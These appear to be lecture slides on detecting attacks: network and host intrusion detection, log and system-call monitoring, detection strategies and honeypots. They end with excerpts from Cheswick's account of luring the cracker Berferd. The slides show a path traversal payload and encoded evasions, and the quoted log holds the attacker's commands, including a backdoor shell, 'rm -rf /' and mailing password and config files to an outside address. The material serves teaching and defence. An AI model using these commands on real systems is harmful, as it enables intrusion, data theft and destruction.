Detecting Attacks

Detecting Attacks
prevention eventually fails

Detecting Attacks

prevention eventually fails

so we need detection, response, and containment

Detecting Attacks

prevention eventually fails

so we need detection, response, and containment

expect that attacks will happen

Detecting Attacks

prevention eventually fails

so we need detection, response, and containment

expect that attacks will happen

detect an attack, stop it, clean up mess

Even if we think our system is solid...

Even if we think our system is solid...
it's prudent to have mechanisms in case

Even if we think our system is solid...
it's prudent to have mechanisms in case

DEFENCE IN DEPTH

Example

- you have a webserver that has request like
  - foo.com/getdata?profile=info/user.txt
- what if the user sent
  - profile=../../../../etc/passwd
- you can fix the getdata script, but what about a backup just in case?

Network Intrusion detection system (NIDS)

- look at all the network traffic
- scan for HTTP requests
- look for things like “/etc/passwd” or “../”
- shutdown those connections that do that

NIDS advantages

- does not touch end systems
  - sometimes you have to let legacy code just run
  - you can “bolt on” security
- is cheap to do
  - firewall already looks at the packets, this just runs in the same pipeline
  - central control over all services

NIDS disadvantages

- scan for /etc/passwd
  - what about all the other files?
  - what about /etc/./passwd
    - in some sense must “execute” attack
- scan for ../
  - what if its in legitimate requests?
    - false positive
  - what about %2e%2e%2f
    - evasion
- what if it’s in HTTPS and not HTTP
  - now you need to access decrypted data and know session key

Host-Based IDS (HIDS)

- instrument the web server
  - scan all the HTTP ?arguments after decrypting
  - do this before running the legacy programs to process it

HIDS Pros/Cons

- pros
  - no problem with HTTP things like %2e
  - works for HTTPS without having to do complex stuff
- cons
  - have to add code to each web server
  - only detects web server attacks
  - still have to consider other files

Approach 3: Logs

- store log files for all web servers on a computer
- run each night, scan all the arguments
- EVIDENCE PRODUCTION
- pros
  - cheap, web servers already do logging
  - no problems like %2e and HTTPS

Log Analysis Cons

- still need to consider other files, ../, etc.
- can't block attacks and prevent them
- detection is delayed, so damage may compound
  - e.g., password file exposed, then they log in
- attacker may be able to **tamper with the logs** before they are analyzed

Approach 4: Monitor system calls

- look for all FS accesses of /etc/passwd
- most programs shouldn't read this file
- pros
  - deals with HTTP, HTTPS, filename tricks
  - alerts (probably) correspond to successful attacks
  - can stop attack at that time

Monitor system calls (con't)

- cons
  - looking at all FS accesses or syscalls is **huge** amount of data
  - could alert on legitimate accesses to the files
    - false positives
    - sometimes you need password file
  - maybe we still want to detect attempts even if they fail
    - situational awareness
    - attack traffic looks like this
    - this IP is sending evil packets to a secure server
    - they may send evil packets to insecure ones too

NIDS vs. HIDS

- NIDS benefits
  - cover a lot of systems with one deployment
  - no touching end systems
  - doesn't use production resources
  - harder to subvert
- HIDS benefits
  - direct access to semantics of activity
  - can protect against non-network threats
  - visibility into encrypted activity
  - performance scales readily

Detecting Deviant Behaviour:
how do we generalize the
reading of /etc/passwd
as the concept of finding
bad activity?

Signature-Based Detection

- look for activity that matches a known attack
- script kiddies run scripts that do the attacks
  - these attacks are known and can be recognized
- simple approach, but blind to novel attacks and variants
- typically consider syntax and not semantics

Anomaly-Based Detection

- build a model of normal usage
  - call this function, then that, then that
  - e.g., addItem(), shoppingCart(), pay()
- flag activity that deviates from it
  - can use ML on all log data to build model
- if you don't have many attack examples, you will have false positives

Specification-Based Detection

- don't learn what's normal: specify it
  - only login, su, sudo, passwd can open /etc/passwd
  - filename to have at most one '/'
    - and no .., , first char not /
  - file about to be opened must have A+RW
- can detect novel attacks
- has low false positives
  - can be discovered in testing
- problem: expensive
  - labour to create specs
  - labour to update specs
  - false negatives may still persist

Behaviour-Based Detection

- don't look for attacks:
  - look for evidence of compromise
- password example
  - look for outgoing packets with lines from file
- look for things that an attacker does
  - unset HISTFILE
  - look for system calls that the compiled program never calls
  - or doesn't call in some order

Honeypot-Based Detection

- deploy a **sacrificial system** that has no operational purpose
  - some computer that runs services but no one in the network uses
- any access is by definition not authorized
  - and thus an intruder (or a mistake)

Honeypots

- identify and track intruders
- study what they're up to
- divert them from legitimate targets
- can be hard to lure attacker
- can be a lot of work to make the environment convincing

An Evening with Berferd
In Which a Cracker is Lured, Endured, and Studied

Bill Cheswick

AT&T Bell Laboratories

Abstract

On 7 January 1991 a cracker, believing he had discovered the famous sendmail DEBUG hole in our Internet gateway machine, attempted to obtain a copy of our password file. I sent him one.

For several months we led this cracker on a merry chase in order to trace his location and learn his techniques. This paper is a chronicle of the cracker's "successes" and disappointments, the bait and traps used to lure and detect him, and the chroot "Jail" we built to watch his activities.

We concluded that our cracker had a lot of time and persistence, and a good list of security holes to use once he obtained a login on a machine. With these holes he could often subvert the *uucp* and *bin* accounts in short order, and then *root*. Our cracker was interested in military targets and new machines to help launder his connections.

Implementation

- added some fake services
  - FTP server
    - reported all login names
    - reported use of tilde (old bug)
    - attempts to obtain /etc/passwd
- rlogin and rsh
  - recorded attempted username and commands
- SMTP DEBUG
  - old bug that allowed running commands
  - would log attempted command

We have a bogus password file whose passwords, when cracked, are: why are you wasting your time

When a probe appears to have no legitimate purpose, I send a message like the following:

```
inetfans postmaster@sdsu.edu

Yesterday someone from math.sdsu.edu fetched the /etc/passwd file
from our FTP directory.  The file is not important, but these probes
are sometimes performed from stolen accounts.

Just thought you'd like to know.

Bill Cheswick
```

Someone tried to add a new user
berferd to the password file

Decision 1 *Ftp's password file was the real one.*

Here were a couple more:

Decision 2 *The gateway machine is poorly administered. (After all, it had the DEBUG hole, and the FTP directory should never contain a real password file.)*

Decision 3 *The gateway machine is terribly slow. It could take* hours *for mail to get through—even overnight!*

So I wanted him to think he had changed our password file, but didn't want to actually let him log in. I could create an account, but make it inoperable. How?

```
23:38     finger attempt on berferd
23:48     echo "36.92.0.205     embezzle.stanford.edu" >> /etc/hosts.equiv
23:53     mv /usr/etc/fingerd /usr/etc/fingerd.b
          cp /bin/sh /usr/etc/fingerd
```

Decision 4 dictates that the last line must fail. Therefore, he just broke the *finger* service on my simulated machine. I turned off the real service.

```
23:57     Attempt to login to inet with  bfrd  from  embezzle.Stanford.EDU
23:58     cp /bin/csh /usr/etc/fingerd
```

Csh wasn't in */bin* either, so that command "failed."

```
00:07     cp /usr/etc/fingerd.b /usr/etc/fingerd
```

OK. *Fingerd* worked again. Nice of Berferd to clean up.

```
00:14     passwd bfrt
          bfrt
          bfrt
```

Berferd returned an hour later. Of course, the magic went away when I went to bed, but that didn't seem to bother him. He was hooked. He continued his attack at 00:40. The logs of his attempts were tedious until this command was submitted for *root* to execute:

```
01:55     rm -rf /&
```

WHOA! Now it was personal! Obviously the machine's state was confusing him, and he wanted to cover his tracks.

```
mail adrian@embezzle.stanford.edu < /etc/passwd
mail adrian@embezzle.stanford.edu < /etc/hosts
mail adrian@embezzle.stanford.edu < /etc/inetd.conf
ps -aux|mail adrian@embezzle.stanford.edu
ps -aux|mail adrian@embezzle.stanford.edu
mail adrian@embezzle.stanford.edu < /etc/inetd.conf
```

I mailed him the four simulated files, including the huge and useless `/etc/hosts` file. I even mailed him error messages for the two *ps* commands in direct violation of the no-errors Decision 6.